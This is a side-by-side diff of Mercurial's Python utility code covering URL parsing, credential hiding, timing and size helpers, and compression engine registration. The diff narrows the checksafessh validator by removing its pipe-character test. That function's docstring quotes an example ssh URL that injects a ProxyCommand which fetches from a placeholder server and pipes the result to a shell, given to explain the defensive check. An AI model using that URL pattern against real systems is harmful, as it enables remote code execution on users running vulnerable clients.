2656 path, self.fragment = path.split('#', 1)
2656 path, self.fragment = path.split('#', 1)
2657
2657
2658 # special case for Windows drive letters and UNC paths
2658 # special case for Windows drive letters and UNC paths
2659 if hasdriveletter(path) or path.startswith('\\\\'):
2659 if hasdriveletter(path) or path.startswith('\\\\'):
2660 self.path = path
2660 self.path = path
2661 return
2661 return
2662
2662
2663 # For compatibility reasons, we can't handle bundle paths as
2663 # For compatibility reasons, we can't handle bundle paths as
2664 # normal URLS
2664 # normal URLS
2665 if path.startswith('bundle:'):
2665 if path.startswith('bundle:'):
2666 self.scheme = 'bundle'
2666 self.scheme = 'bundle'
2667 path = path[7:]
2667 path = path[7:]
2668 if path.startswith('//'):
2668 if path.startswith('//'):
2669 path = path[2:]
2669 path = path[2:]
2670 self.path = path
2670 self.path = path
2671 return
2671 return
2672
2672
2673 if self._matchscheme(path):
2673 if self._matchscheme(path):
2674 parts = path.split(':', 1)
2674 parts = path.split(':', 1)
2675 if parts[0]:
2675 if parts[0]:
2676 self.scheme, path = parts
2676 self.scheme, path = parts
2677 self._localpath = False
2677 self._localpath = False
2678
2678
2679 if not path:
2679 if not path:
2680 path = None
2680 path = None
2681 if self._localpath:
2681 if self._localpath:
2682 self.path = ''
2682 self.path = ''
2683 return
2683 return
2684 else:
2684 else:
2685 if self._localpath:
2685 if self._localpath:
2686 self.path = path
2686 self.path = path
2687 return
2687 return
2688
2688
2689 if parsequery and '?' in path:
2689 if parsequery and '?' in path:
2690 path, self.query = path.split('?', 1)
2690 path, self.query = path.split('?', 1)
2691 if not path:
2691 if not path:
2692 path = None
2692 path = None
2693 if not self.query:
2693 if not self.query:
2694 self.query = None
2694 self.query = None
2695
2695
2696 # // is required to specify a host/authority
2696 # // is required to specify a host/authority
2697 if path and path.startswith('//'):
2697 if path and path.startswith('//'):
2698 parts = path[2:].split('/', 1)
2698 parts = path[2:].split('/', 1)
2699 if len(parts) > 1:
2699 if len(parts) > 1:
2700 self.host, path = parts
2700 self.host, path = parts
2701 else:
2701 else:
2702 self.host = parts[0]
2702 self.host = parts[0]
2703 path = None
2703 path = None
2704 if not self.host:
2704 if not self.host:
2705 self.host = None
2705 self.host = None
2706 # path of file:///d is /d
2706 # path of file:///d is /d
2707 # path of file:///d:/ is d:/, not /d:/
2707 # path of file:///d:/ is d:/, not /d:/
2708 if path and not hasdriveletter(path):
2708 if path and not hasdriveletter(path):
2709 path = '/' + path
2709 path = '/' + path
2710
2710
2711 if self.host and '@' in self.host:
2711 if self.host and '@' in self.host:
2712 self.user, self.host = self.host.rsplit('@', 1)
2712 self.user, self.host = self.host.rsplit('@', 1)
2713 if ':' in self.user:
2713 if ':' in self.user:
2714 self.user, self.passwd = self.user.split(':', 1)
2714 self.user, self.passwd = self.user.split(':', 1)
2715 if not self.host:
2715 if not self.host:
2716 self.host = None
2716 self.host = None
2717
2717
2718 # Don't split on colons in IPv6 addresses without ports
2718 # Don't split on colons in IPv6 addresses without ports
2719 if (self.host and ':' in self.host and
2719 if (self.host and ':' in self.host and
2720 not (self.host.startswith('[') and self.host.endswith(']'))):
2720 not (self.host.startswith('[') and self.host.endswith(']'))):
2721 self._hostport = self.host
2721 self._hostport = self.host
2722 self.host, self.port = self.host.rsplit(':', 1)
2722 self.host, self.port = self.host.rsplit(':', 1)
2723 if not self.host:
2723 if not self.host:
2724 self.host = None
2724 self.host = None
2725
2725
2726 if (self.host and self.scheme == 'file' and
2726 if (self.host and self.scheme == 'file' and
2727 self.host not in ('localhost', '127.0.0.1', '[::1]')):
2727 self.host not in ('localhost', '127.0.0.1', '[::1]')):
2728 raise Abort(_('file:// URLs can only refer to localhost'))
2728 raise Abort(_('file:// URLs can only refer to localhost'))
2729
2729
2730 self.path = path
2730 self.path = path
2731
2731
2732 # leave the query string escaped
2732 # leave the query string escaped
2733 for a in ('user', 'passwd', 'host', 'port',
2733 for a in ('user', 'passwd', 'host', 'port',
2734 'path', 'fragment'):
2734 'path', 'fragment'):
2735 v = getattr(self, a)
2735 v = getattr(self, a)
2736 if v is not None:
2736 if v is not None:
2737 setattr(self, a, urlreq.unquote(v))
2737 setattr(self, a, urlreq.unquote(v))
2738
2738
2739 def __repr__(self):
2739 def __repr__(self):
2740 attrs = []
2740 attrs = []
2741 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
2741 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
2742 'query', 'fragment'):
2742 'query', 'fragment'):
2743 v = getattr(self, a)
2743 v = getattr(self, a)
2744 if v is not None:
2744 if v is not None:
2745 attrs.append('%s: %r' % (a, v))
2745 attrs.append('%s: %r' % (a, v))
2746 return '<url %s>' % ', '.join(attrs)
2746 return '<url %s>' % ', '.join(attrs)
2747
2747
2748 def __str__(self):
2748 def __str__(self):
2749 r"""Join the URL's components back into a URL string.
2749 r"""Join the URL's components back into a URL string.
2750
2750
2751 Examples:
2751 Examples:
2752
2752
2753 >>> str(url('http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
2753 >>> str(url('http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
2754 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
2754 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
2755 >>> str(url('http://user:pw@host:80/?foo=bar&baz=42'))
2755 >>> str(url('http://user:pw@host:80/?foo=bar&baz=42'))
2756 'http://user:pw@host:80/?foo=bar&baz=42'
2756 'http://user:pw@host:80/?foo=bar&baz=42'
2757 >>> str(url('http://user:pw@host:80/?foo=bar%3dbaz'))
2757 >>> str(url('http://user:pw@host:80/?foo=bar%3dbaz'))
2758 'http://user:pw@host:80/?foo=bar%3dbaz'
2758 'http://user:pw@host:80/?foo=bar%3dbaz'
2759 >>> str(url('ssh://user:pw@[::1]:2200//home/joe#'))
2759 >>> str(url('ssh://user:pw@[::1]:2200//home/joe#'))
2760 'ssh://user:pw@[::1]:2200//home/joe#'
2760 'ssh://user:pw@[::1]:2200//home/joe#'
2761 >>> str(url('http://localhost:80//'))
2761 >>> str(url('http://localhost:80//'))
2762 'http://localhost:80//'
2762 'http://localhost:80//'
2763 >>> str(url('http://localhost:80/'))
2763 >>> str(url('http://localhost:80/'))
2764 'http://localhost:80/'
2764 'http://localhost:80/'
2765 >>> str(url('http://localhost:80'))
2765 >>> str(url('http://localhost:80'))
2766 'http://localhost:80/'
2766 'http://localhost:80/'
2767 >>> str(url('bundle:foo'))
2767 >>> str(url('bundle:foo'))
2768 'bundle:foo'
2768 'bundle:foo'
2769 >>> str(url('bundle://../foo'))
2769 >>> str(url('bundle://../foo'))
2770 'bundle:../foo'
2770 'bundle:../foo'
2771 >>> str(url('path'))
2771 >>> str(url('path'))
2772 'path'
2772 'path'
2773 >>> str(url('file:///tmp/foo/bar'))
2773 >>> str(url('file:///tmp/foo/bar'))
2774 'file:///tmp/foo/bar'
2774 'file:///tmp/foo/bar'
2775 >>> str(url('file:///c:/tmp/foo/bar'))
2775 >>> str(url('file:///c:/tmp/foo/bar'))
2776 'file:///c:/tmp/foo/bar'
2776 'file:///c:/tmp/foo/bar'
2777 >>> print url(r'bundle:foo\bar')
2777 >>> print url(r'bundle:foo\bar')
2778 bundle:foo\bar
2778 bundle:foo\bar
2779 >>> print url(r'file:///D:\data\hg')
2779 >>> print url(r'file:///D:\data\hg')
2780 file:///D:\data\hg
2780 file:///D:\data\hg
2781 """
2781 """
2782 return encoding.strfromlocal(self.__bytes__())
2782 return encoding.strfromlocal(self.__bytes__())
2783
2783
2784 def __bytes__(self):
2784 def __bytes__(self):
2785 if self._localpath:
2785 if self._localpath:
2786 s = self.path
2786 s = self.path
2787 if self.scheme == 'bundle':
2787 if self.scheme == 'bundle':
2788 s = 'bundle:' + s
2788 s = 'bundle:' + s
2789 if self.fragment:
2789 if self.fragment:
2790 s += '#' + self.fragment
2790 s += '#' + self.fragment
2791 return s
2791 return s
2792
2792
2793 s = self.scheme + ':'
2793 s = self.scheme + ':'
2794 if self.user or self.passwd or self.host:
2794 if self.user or self.passwd or self.host:
2795 s += '//'
2795 s += '//'
2796 elif self.scheme and (not self.path or self.path.startswith('/')
2796 elif self.scheme and (not self.path or self.path.startswith('/')
2797 or hasdriveletter(self.path)):
2797 or hasdriveletter(self.path)):
2798 s += '//'
2798 s += '//'
2799 if hasdriveletter(self.path):
2799 if hasdriveletter(self.path):
2800 s += '/'
2800 s += '/'
2801 if self.user:
2801 if self.user:
2802 s += urlreq.quote(self.user, safe=self._safechars)
2802 s += urlreq.quote(self.user, safe=self._safechars)
2803 if self.passwd:
2803 if self.passwd:
2804 s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
2804 s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
2805 if self.user or self.passwd:
2805 if self.user or self.passwd:
2806 s += '@'
2806 s += '@'
2807 if self.host:
2807 if self.host:
2808 if not (self.host.startswith('[') and self.host.endswith(']')):
2808 if not (self.host.startswith('[') and self.host.endswith(']')):
2809 s += urlreq.quote(self.host)
2809 s += urlreq.quote(self.host)
2810 else:
2810 else:
2811 s += self.host
2811 s += self.host
2812 if self.port:
2812 if self.port:
2813 s += ':' + urlreq.quote(self.port)
2813 s += ':' + urlreq.quote(self.port)
2814 if self.host:
2814 if self.host:
2815 s += '/'
2815 s += '/'
2816 if self.path:
2816 if self.path:
2817 # TODO: similar to the query string, we should not unescape the
2817 # TODO: similar to the query string, we should not unescape the
2818 # path when we store it, the path might contain '%2f' = '/',
2818 # path when we store it, the path might contain '%2f' = '/',
2819 # which we should *not* escape.
2819 # which we should *not* escape.
2820 s += urlreq.quote(self.path, safe=self._safepchars)
2820 s += urlreq.quote(self.path, safe=self._safepchars)
2821 if self.query:
2821 if self.query:
2822 # we store the query in escaped form.
2822 # we store the query in escaped form.
2823 s += '?' + self.query
2823 s += '?' + self.query
2824 if self.fragment is not None:
2824 if self.fragment is not None:
2825 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
2825 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
2826 return s
2826 return s
2827
2827
2828 def authinfo(self):
2828 def authinfo(self):
2829 user, passwd = self.user, self.passwd
2829 user, passwd = self.user, self.passwd
2830 try:
2830 try:
2831 self.user, self.passwd = None, None
2831 self.user, self.passwd = None, None
2832 s = bytes(self)
2832 s = bytes(self)
2833 finally:
2833 finally:
2834 self.user, self.passwd = user, passwd
2834 self.user, self.passwd = user, passwd
2835 if not self.user:
2835 if not self.user:
2836 return (s, None)
2836 return (s, None)
2837 # authinfo[1] is passed to urllib2 password manager, and its
2837 # authinfo[1] is passed to urllib2 password manager, and its
2838 # URIs must not contain credentials. The host is passed in the
2838 # URIs must not contain credentials. The host is passed in the
2839 # URIs list because Python < 2.4.3 uses only that to search for
2839 # URIs list because Python < 2.4.3 uses only that to search for
2840 # a password.
2840 # a password.
2841 return (s, (None, (s, self.host),
2841 return (s, (None, (s, self.host),
2842 self.user, self.passwd or ''))
2842 self.user, self.passwd or ''))
2843
2843
2844 def isabs(self):
2844 def isabs(self):
2845 if self.scheme and self.scheme != 'file':
2845 if self.scheme and self.scheme != 'file':
2846 return True # remote URL
2846 return True # remote URL
2847 if hasdriveletter(self.path):
2847 if hasdriveletter(self.path):
2848 return True # absolute for our purposes - can't be joined()
2848 return True # absolute for our purposes - can't be joined()
2849 if self.path.startswith(r'\\'):
2849 if self.path.startswith(r'\\'):
2850 return True # Windows UNC path
2850 return True # Windows UNC path
2851 if self.path.startswith('/'):
2851 if self.path.startswith('/'):
2852 return True # POSIX-style
2852 return True # POSIX-style
2853 return False
2853 return False
2854
2854
2855 def localpath(self):
2855 def localpath(self):
2856 if self.scheme == 'file' or self.scheme == 'bundle':
2856 if self.scheme == 'file' or self.scheme == 'bundle':
2857 path = self.path or '/'
2857 path = self.path or '/'
2858 # For Windows, we need to promote hosts containing drive
2858 # For Windows, we need to promote hosts containing drive
2859 # letters to paths with drive letters.
2859 # letters to paths with drive letters.
2860 if hasdriveletter(self._hostport):
2860 if hasdriveletter(self._hostport):
2861 path = self._hostport + '/' + self.path
2861 path = self._hostport + '/' + self.path
2862 elif (self.host is not None and self.path
2862 elif (self.host is not None and self.path
2863 and not hasdriveletter(path)):
2863 and not hasdriveletter(path)):
2864 path = '/' + path
2864 path = '/' + path
2865 return path
2865 return path
2866 return self._origpath
2866 return self._origpath
2867
2867
2868 def islocal(self):
2868 def islocal(self):
2869 '''whether localpath will return something that posixfile can open'''
2869 '''whether localpath will return something that posixfile can open'''
2870 return (not self.scheme or self.scheme == 'file'
2870 return (not self.scheme or self.scheme == 'file'
2871 or self.scheme == 'bundle')
2871 or self.scheme == 'bundle')
2872
2872
2873 def hasscheme(path):
2873 def hasscheme(path):
2874 return bool(url(path).scheme)
2874 return bool(url(path).scheme)
2875
2875
2876 def hasdriveletter(path):
2876 def hasdriveletter(path):
2877 return path and path[1:2] == ':' and path[0:1].isalpha()
2877 return path and path[1:2] == ':' and path[0:1].isalpha()
2878
2878
2879 def urllocalpath(path):
2879 def urllocalpath(path):
2880 return url(path, parsequery=False, parsefragment=False).localpath()
2880 return url(path, parsequery=False, parsefragment=False).localpath()
2881
2881
2882 def checksafessh(path):
2882 def checksafessh(path):
2883 """check if a path / url is a potentially unsafe ssh exploit (SEC)
2883 """check if a path / url is a potentially unsafe ssh exploit (SEC)
2884
2884
2885 This is a sanity check for ssh urls. ssh will parse the first item as
2885 This is a sanity check for ssh urls. ssh will parse the first item as
2886 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
2886 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
2887 Let's prevent these potentially exploited urls entirely and warn the
2887 Let's prevent these potentially exploited urls entirely and warn the
2888 user.
2888 user.
2889
2889
2890 Raises an error.Abort when the url is unsafe.
2890 Raises an error.Abort when the url is unsafe.
2891 """
2891 """
2892 path = urlreq.unquote(path)
2892 path = urlreq.unquote(path)
2893 if (path.startswith('ssh://-') or path.startswith('svn+ssh://-')
2893 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
2894 or '|' in path):
2895 raise error.Abort(_('potentially unsafe url: %r') %
2894 raise error.Abort(_('potentially unsafe url: %r') %
2896 (path,))
2895 (path,))
2897
2896
2898 def hidepassword(u):
2897 def hidepassword(u):
2899 '''hide user credential in a url string'''
2898 '''hide user credential in a url string'''
2900 u = url(u)
2899 u = url(u)
2901 if u.passwd:
2900 if u.passwd:
2902 u.passwd = '***'
2901 u.passwd = '***'
2903 return bytes(u)
2902 return bytes(u)
2904
2903
2905 def removeauth(u):
2904 def removeauth(u):
2906 '''remove all authentication information from a url string'''
2905 '''remove all authentication information from a url string'''
2907 u = url(u)
2906 u = url(u)
2908 u.user = u.passwd = None
2907 u.user = u.passwd = None
2909 return str(u)
2908 return str(u)
2910
2909
2911 timecount = unitcountfn(
2910 timecount = unitcountfn(
2912 (1, 1e3, _('%.0f s')),
2911 (1, 1e3, _('%.0f s')),
2913 (100, 1, _('%.1f s')),
2912 (100, 1, _('%.1f s')),
2914 (10, 1, _('%.2f s')),
2913 (10, 1, _('%.2f s')),
2915 (1, 1, _('%.3f s')),
2914 (1, 1, _('%.3f s')),
2916 (100, 0.001, _('%.1f ms')),
2915 (100, 0.001, _('%.1f ms')),
2917 (10, 0.001, _('%.2f ms')),
2916 (10, 0.001, _('%.2f ms')),
2918 (1, 0.001, _('%.3f ms')),
2917 (1, 0.001, _('%.3f ms')),
2919 (100, 0.000001, _('%.1f us')),
2918 (100, 0.000001, _('%.1f us')),
2920 (10, 0.000001, _('%.2f us')),
2919 (10, 0.000001, _('%.2f us')),
2921 (1, 0.000001, _('%.3f us')),
2920 (1, 0.000001, _('%.3f us')),
2922 (100, 0.000000001, _('%.1f ns')),
2921 (100, 0.000000001, _('%.1f ns')),
2923 (10, 0.000000001, _('%.2f ns')),
2922 (10, 0.000000001, _('%.2f ns')),
2924 (1, 0.000000001, _('%.3f ns')),
2923 (1, 0.000000001, _('%.3f ns')),
2925 )
2924 )
2926
2925
2927 _timenesting = [0]
2926 _timenesting = [0]
2928
2927
2929 def timed(func):
2928 def timed(func):
2930 '''Report the execution time of a function call to stderr.
2929 '''Report the execution time of a function call to stderr.
2931
2930
2932 During development, use as a decorator when you need to measure
2931 During development, use as a decorator when you need to measure
2933 the cost of a function, e.g. as follows:
2932 the cost of a function, e.g. as follows:
2934
2933
2935 @util.timed
2934 @util.timed
2936 def foo(a, b, c):
2935 def foo(a, b, c):
2937 pass
2936 pass
2938 '''
2937 '''
2939
2938
2940 def wrapper(*args, **kwargs):
2939 def wrapper(*args, **kwargs):
2941 start = timer()
2940 start = timer()
2942 indent = 2
2941 indent = 2
2943 _timenesting[0] += indent
2942 _timenesting[0] += indent
2944 try:
2943 try:
2945 return func(*args, **kwargs)
2944 return func(*args, **kwargs)
2946 finally:
2945 finally:
2947 elapsed = timer() - start
2946 elapsed = timer() - start
2948 _timenesting[0] -= indent
2947 _timenesting[0] -= indent
2949 stderr.write('%s%s: %s\n' %
2948 stderr.write('%s%s: %s\n' %
2950 (' ' * _timenesting[0], func.__name__,
2949 (' ' * _timenesting[0], func.__name__,
2951 timecount(elapsed)))
2950 timecount(elapsed)))
2952 return wrapper
2951 return wrapper
2953
2952
2954 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
2953 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
2955 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
2954 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
2956
2955
2957 def sizetoint(s):
2956 def sizetoint(s):
2958 '''Convert a space specifier to a byte count.
2957 '''Convert a space specifier to a byte count.
2959
2958
2960 >>> sizetoint('30')
2959 >>> sizetoint('30')
2961 30
2960 30
2962 >>> sizetoint('2.2kb')
2961 >>> sizetoint('2.2kb')
2963 2252
2962 2252
2964 >>> sizetoint('6M')
2963 >>> sizetoint('6M')
2965 6291456
2964 6291456
2966 '''
2965 '''
2967 t = s.strip().lower()
2966 t = s.strip().lower()
2968 try:
2967 try:
2969 for k, u in _sizeunits:
2968 for k, u in _sizeunits:
2970 if t.endswith(k):
2969 if t.endswith(k):
2971 return int(float(t[:-len(k)]) * u)
2970 return int(float(t[:-len(k)]) * u)
2972 return int(t)
2971 return int(t)
2973 except ValueError:
2972 except ValueError:
2974 raise error.ParseError(_("couldn't parse size: %s") % s)
2973 raise error.ParseError(_("couldn't parse size: %s") % s)
2975
2974
2976 class hooks(object):
2975 class hooks(object):
2977 '''A collection of hook functions that can be used to extend a
2976 '''A collection of hook functions that can be used to extend a
2978 function's behavior. Hooks are called in lexicographic order,
2977 function's behavior. Hooks are called in lexicographic order,
2979 based on the names of their sources.'''
2978 based on the names of their sources.'''
2980
2979
2981 def __init__(self):
2980 def __init__(self):
2982 self._hooks = []
2981 self._hooks = []
2983
2982
2984 def add(self, source, hook):
2983 def add(self, source, hook):
2985 self._hooks.append((source, hook))
2984 self._hooks.append((source, hook))
2986
2985
2987 def __call__(self, *args):
2986 def __call__(self, *args):
2988 self._hooks.sort(key=lambda x: x[0])
2987 self._hooks.sort(key=lambda x: x[0])
2989 results = []
2988 results = []
2990 for source, hook in self._hooks:
2989 for source, hook in self._hooks:
2991 results.append(hook(*args))
2990 results.append(hook(*args))
2992 return results
2991 return results
2993
2992
2994 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%s', depth=0):
2993 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%s', depth=0):
2995 '''Yields lines for a nicely formatted stacktrace.
2994 '''Yields lines for a nicely formatted stacktrace.
2996 Skips the 'skip' last entries, then return the last 'depth' entries.
2995 Skips the 'skip' last entries, then return the last 'depth' entries.
2997 Each file+linenumber is formatted according to fileline.
2996 Each file+linenumber is formatted according to fileline.
2998 Each line is formatted according to line.
2997 Each line is formatted according to line.
2999 If line is None, it yields:
2998 If line is None, it yields:
3000 length of longest filepath+line number,
2999 length of longest filepath+line number,
3001 filepath+linenumber,
3000 filepath+linenumber,
3002 function
3001 function
3003
3002
3004 Not be used in production code but very convenient while developing.
3003 Not be used in production code but very convenient while developing.
3005 '''
3004 '''
3006 entries = [(fileline % (fn, ln), func)
3005 entries = [(fileline % (fn, ln), func)
3007 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
3006 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
3008 ][-depth:]
3007 ][-depth:]
3009 if entries:
3008 if entries:
3010 fnmax = max(len(entry[0]) for entry in entries)
3009 fnmax = max(len(entry[0]) for entry in entries)
3011 for fnln, func in entries:
3010 for fnln, func in entries:
3012 if line is None:
3011 if line is None:
3013 yield (fnmax, fnln, func)
3012 yield (fnmax, fnln, func)
3014 else:
3013 else:
3015 yield line % (fnmax, fnln, func)
3014 yield line % (fnmax, fnln, func)
3016
3015
3017 def debugstacktrace(msg='stacktrace', skip=0,
3016 def debugstacktrace(msg='stacktrace', skip=0,
3018 f=stderr, otherf=stdout, depth=0):
3017 f=stderr, otherf=stdout, depth=0):
3019 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3018 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3020 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3019 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3021 By default it will flush stdout first.
3020 By default it will flush stdout first.
3022 It can be used everywhere and intentionally does not require an ui object.
3021 It can be used everywhere and intentionally does not require an ui object.
3023 Not be used in production code but very convenient while developing.
3022 Not be used in production code but very convenient while developing.
3024 '''
3023 '''
3025 if otherf:
3024 if otherf:
3026 otherf.flush()
3025 otherf.flush()
3027 f.write('%s at:\n' % msg.rstrip())
3026 f.write('%s at:\n' % msg.rstrip())
3028 for line in getstackframes(skip + 1, depth=depth):
3027 for line in getstackframes(skip + 1, depth=depth):
3029 f.write(line)
3028 f.write(line)
3030 f.flush()
3029 f.flush()
3031
3030
3032 class dirs(object):
3031 class dirs(object):
3033 '''a multiset of directory names from a dirstate or manifest'''
3032 '''a multiset of directory names from a dirstate or manifest'''
3034
3033
3035 def __init__(self, map, skip=None):
3034 def __init__(self, map, skip=None):
3036 self._dirs = {}
3035 self._dirs = {}
3037 addpath = self.addpath
3036 addpath = self.addpath
3038 if safehasattr(map, 'iteritems') and skip is not None:
3037 if safehasattr(map, 'iteritems') and skip is not None:
3039 for f, s in map.iteritems():
3038 for f, s in map.iteritems():
3040 if s[0] != skip:
3039 if s[0] != skip:
3041 addpath(f)
3040 addpath(f)
3042 else:
3041 else:
3043 for f in map:
3042 for f in map:
3044 addpath(f)
3043 addpath(f)
3045
3044
3046 def addpath(self, path):
3045 def addpath(self, path):
3047 dirs = self._dirs
3046 dirs = self._dirs
3048 for base in finddirs(path):
3047 for base in finddirs(path):
3049 if base in dirs:
3048 if base in dirs:
3050 dirs[base] += 1
3049 dirs[base] += 1
3051 return
3050 return
3052 dirs[base] = 1
3051 dirs[base] = 1
3053
3052
3054 def delpath(self, path):
3053 def delpath(self, path):
3055 dirs = self._dirs
3054 dirs = self._dirs
3056 for base in finddirs(path):
3055 for base in finddirs(path):
3057 if dirs[base] > 1:
3056 if dirs[base] > 1:
3058 dirs[base] -= 1
3057 dirs[base] -= 1
3059 return
3058 return
3060 del dirs[base]
3059 del dirs[base]
3061
3060
3062 def __iter__(self):
3061 def __iter__(self):
3063 return iter(self._dirs)
3062 return iter(self._dirs)
3064
3063
3065 def __contains__(self, d):
3064 def __contains__(self, d):
3066 return d in self._dirs
3065 return d in self._dirs
3067
3066
3068 if safehasattr(parsers, 'dirs'):
3067 if safehasattr(parsers, 'dirs'):
3069 dirs = parsers.dirs
3068 dirs = parsers.dirs
3070
3069
3071 def finddirs(path):
3070 def finddirs(path):
3072 pos = path.rfind('/')
3071 pos = path.rfind('/')
3073 while pos != -1:
3072 while pos != -1:
3074 yield path[:pos]
3073 yield path[:pos]
3075 pos = path.rfind('/', 0, pos)
3074 pos = path.rfind('/', 0, pos)
3076
3075
3077 class ctxmanager(object):
3076 class ctxmanager(object):
3078 '''A context manager for use in 'with' blocks to allow multiple
3077 '''A context manager for use in 'with' blocks to allow multiple
3079 contexts to be entered at once. This is both safer and more
3078 contexts to be entered at once. This is both safer and more
3080 flexible than contextlib.nested.
3079 flexible than contextlib.nested.
3081
3080
3082 Once Mercurial supports Python 2.7+, this will become mostly
3081 Once Mercurial supports Python 2.7+, this will become mostly
3083 unnecessary.
3082 unnecessary.
3084 '''
3083 '''
3085
3084
3086 def __init__(self, *args):
3085 def __init__(self, *args):
3087 '''Accepts a list of no-argument functions that return context
3086 '''Accepts a list of no-argument functions that return context
3088 managers. These will be invoked at __call__ time.'''
3087 managers. These will be invoked at __call__ time.'''
3089 self._pending = args
3088 self._pending = args
3090 self._atexit = []
3089 self._atexit = []
3091
3090
3092 def __enter__(self):
3091 def __enter__(self):
3093 return self
3092 return self
3094
3093
3095 def enter(self):
3094 def enter(self):
3096 '''Create and enter context managers in the order in which they were
3095 '''Create and enter context managers in the order in which they were
3097 passed to the constructor.'''
3096 passed to the constructor.'''
3098 values = []
3097 values = []
3099 for func in self._pending:
3098 for func in self._pending:
3100 obj = func()
3099 obj = func()
3101 values.append(obj.__enter__())
3100 values.append(obj.__enter__())
3102 self._atexit.append(obj.__exit__)
3101 self._atexit.append(obj.__exit__)
3103 del self._pending
3102 del self._pending
3104 return values
3103 return values
3105
3104
3106 def atexit(self, func, *args, **kwargs):
3105 def atexit(self, func, *args, **kwargs):
3107 '''Add a function to call when this context manager exits. The
3106 '''Add a function to call when this context manager exits. The
3108 ordering of multiple atexit calls is unspecified, save that
3107 ordering of multiple atexit calls is unspecified, save that
3109 they will happen before any __exit__ functions.'''
3108 they will happen before any __exit__ functions.'''
3110 def wrapper(exc_type, exc_val, exc_tb):
3109 def wrapper(exc_type, exc_val, exc_tb):
3111 func(*args, **kwargs)
3110 func(*args, **kwargs)
3112 self._atexit.append(wrapper)
3111 self._atexit.append(wrapper)
3113 return func
3112 return func
3114
3113
3115 def __exit__(self, exc_type, exc_val, exc_tb):
3114 def __exit__(self, exc_type, exc_val, exc_tb):
3116 '''Context managers are exited in the reverse order from which
3115 '''Context managers are exited in the reverse order from which
3117 they were created.'''
3116 they were created.'''
3118 received = exc_type is not None
3117 received = exc_type is not None
3119 suppressed = False
3118 suppressed = False
3120 pending = None
3119 pending = None
3121 self._atexit.reverse()
3120 self._atexit.reverse()
3122 for exitfunc in self._atexit:
3121 for exitfunc in self._atexit:
3123 try:
3122 try:
3124 if exitfunc(exc_type, exc_val, exc_tb):
3123 if exitfunc(exc_type, exc_val, exc_tb):
3125 suppressed = True
3124 suppressed = True
3126 exc_type = None
3125 exc_type = None
3127 exc_val = None
3126 exc_val = None
3128 exc_tb = None
3127 exc_tb = None
3129 except BaseException:
3128 except BaseException:
3130 pending = sys.exc_info()
3129 pending = sys.exc_info()
3131 exc_type, exc_val, exc_tb = pending = sys.exc_info()
3130 exc_type, exc_val, exc_tb = pending = sys.exc_info()
3132 del self._atexit
3131 del self._atexit
3133 if pending:
3132 if pending:
3134 raise exc_val
3133 raise exc_val
3135 return received and suppressed
3134 return received and suppressed
3136
3135
3137 # compression code
3136 # compression code
3138
3137
3139 SERVERROLE = 'server'
3138 SERVERROLE = 'server'
3140 CLIENTROLE = 'client'
3139 CLIENTROLE = 'client'
3141
3140
3142 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
3141 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
3143 (u'name', u'serverpriority',
3142 (u'name', u'serverpriority',
3144 u'clientpriority'))
3143 u'clientpriority'))
3145
3144
3146 class compressormanager(object):
3145 class compressormanager(object):
3147 """Holds registrations of various compression engines.
3146 """Holds registrations of various compression engines.
3148
3147
3149 This class essentially abstracts the differences between compression
3148 This class essentially abstracts the differences between compression
3150 engines to allow new compression formats to be added easily, possibly from
3149 engines to allow new compression formats to be added easily, possibly from
3151 extensions.
3150 extensions.
3152
3151
3153 Compressors are registered against the global instance by calling its
3152 Compressors are registered against the global instance by calling its
3154 ``register()`` method.
3153 ``register()`` method.
3155 """
3154 """
3156 def __init__(self):
3155 def __init__(self):
3157 self._engines = {}
3156 self._engines = {}
3158 # Bundle spec human name to engine name.
3157 # Bundle spec human name to engine name.
3159 self._bundlenames = {}
3158 self._bundlenames = {}
3160 # Internal bundle identifier to engine name.
3159 # Internal bundle identifier to engine name.
3161 self._bundletypes = {}
3160 self._bundletypes = {}
3162 # Revlog header to engine name.
3161 # Revlog header to engine name.
3163 self._revlogheaders = {}
3162 self._revlogheaders = {}
3164 # Wire proto identifier to engine name.
3163 # Wire proto identifier to engine name.
3165 self._wiretypes = {}
3164 self._wiretypes = {}
3166
3165
3167 def __getitem__(self, key):
3166 def __getitem__(self, key):
3168 return self._engines[key]
3167 return self._engines[key]
3169
3168
3170 def __contains__(self, key):
3169 def __contains__(self, key):
3171 return key in self._engines
3170 return key in self._engines
3172
3171
3173 def __iter__(self):
3172 def __iter__(self):
3174 return iter(self._engines.keys())
3173 return iter(self._engines.keys())
3175
3174
3176 def register(self, engine):
3175 def register(self, engine):
3177 """Register a compression engine with the manager.
3176 """Register a compression engine with the manager.
3178
3177
3179 The argument must be a ``compressionengine`` instance.
3178 The argument must be a ``compressionengine`` instance.
3180 """
3179 """
3181 if not isinstance(engine, compressionengine):
3180 if not isinstance(engine, compressionengine):
3182 raise ValueError(_('argument must be a compressionengine'))
3181 raise ValueError(_('argument must be a compressionengine'))
3183
3182
3184 name = engine.name()
3183 name = engine.name()
3185
3184
3186 if name in self._engines:
3185 if name in self._engines:
3187 raise error.Abort(_('compression engine %s already registered') %
3186 raise error.Abort(_('compression engine %s already registered') %
3188 name)
